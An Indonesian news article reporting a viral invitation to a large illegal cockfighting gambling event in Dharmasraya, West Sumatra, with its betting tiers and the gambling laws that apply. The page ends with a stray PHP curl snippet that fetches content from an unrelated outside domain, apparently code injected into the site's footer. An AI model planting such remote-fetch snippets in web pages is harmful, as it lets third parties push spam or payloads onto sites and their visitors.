Perjudian 303 Sabung Ayam di Dhamasraya, Sumatera Barat Taruhan Jutaan rupiah Belum tersentuh Hukum

Senin, 2 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Sumatera Barat | jejakkasus.info – Beredar undangan Kontes tarung ayam terbesar di Kabupaten Dharmasraya Provinsi Sumatera Barat dengan T.5.000 Gelanggang DM Kelok S.

Sementara itu, Tertera didalam Undangan Kontes yang Viral melalui WhatsApp berbunyi : Pertarungan Judi Ayam tersebut akan digelar Pada Hari Sabtu, Tanggal 21 September 2024 mulai dari Pukul 13:00 Wib S/D selesai.

Adapun Keterangan Taruhan dalam Pertandingan atau Pertarungan Perjudian 303 jenis Sabung Ayam tersebut :
1. Taruhan di atas 30 Juta kita berikan uang pembinaan.
2. Taruhan di atas 50 Juta kita berikan hadiah 1 Unit TV
3. Taruhan di atas 100 juta kita berikan 1 Unit Sepeda Motor.

Baca Juga:  Benarkah Mudrikah Korban Ruda Paksa Yang Diduga Dilakukan Oleh MM Orang Tua MSAT

Dalam undangan tersebut juga di cantumkan nama panitia atau penyelenggara Kegiatan tersebut antara Lain :
Lasri : 0812664792xx
Junai : 0853639734xx
Bg Yal : 0822852810xx

Baca Juga:  Meriahkan Kirab Jolen Bersih Desa Dengan Pawai Kebudayaan Berbagai Macam Hiburan di Desa Kandangan

Bukan hanya di Whatsapp, akan tetapi di Media Sosial Media Siber viral.

Terkait Aktifitas Judi sabung Ayam Terbesar di Dhamasraya tersebut. Hingga berita ini diterbitkan awak media masih berusaha melakukan upaya konfirmasi kepada Aparat Penegak Hukum (APH) setempat.

Dasar Hukum pasal 303 KUHP, pasal 542 KUHP dan sebutan pasal 542 KUHP kemudian dengan adanya UU.No.7 1974 diubah menjadi pasal 303 bis, terkait praktik penjudi remi dan penjudi sabung ayam dikenakan pasal 303 ayat 1 ke 2e KUHP Subsider Pasal 303 ayat (1) ke (1) KUHP, dengan pidana penjara paling lama 6 tahun atau denda paling banyak Rp 25 juta. (Red)

Baca Juga:  Ahli Waris Kecewa pada Sistem dan Mekanisme Klaim Asuransi Jiwa PT AIA Financial
Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.
Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024
Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU
Menjelang Pilkada Kabupaten Sidoarjo Bhabinkamtibmas Polsek Tanggulangin Adakan Dialog Dengan Tokoh Agama Dan Masyarakat.
Tim Voli Putri Jatim Sabet Medali Emas pada PON XXI Aceh Sumut
Masih Perlukah Cuma Teteskan Air Mata Untuk Menangisi Peraturan Pemerintah Yang Mencekik Ini

Berita Terkait

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Jumat, 20 September 2024 - 10:59 WIB

Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024

Jumat, 20 September 2024 - 10:58 WIB

Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Jumat, 20 September 2024 - 10:57 WIB

Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024

Jumat, 20 September 2024 - 10:56 WIB

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Berita Terbaru

Peristiwa

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Jumat, 20 Sep 2024 - 10:56 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>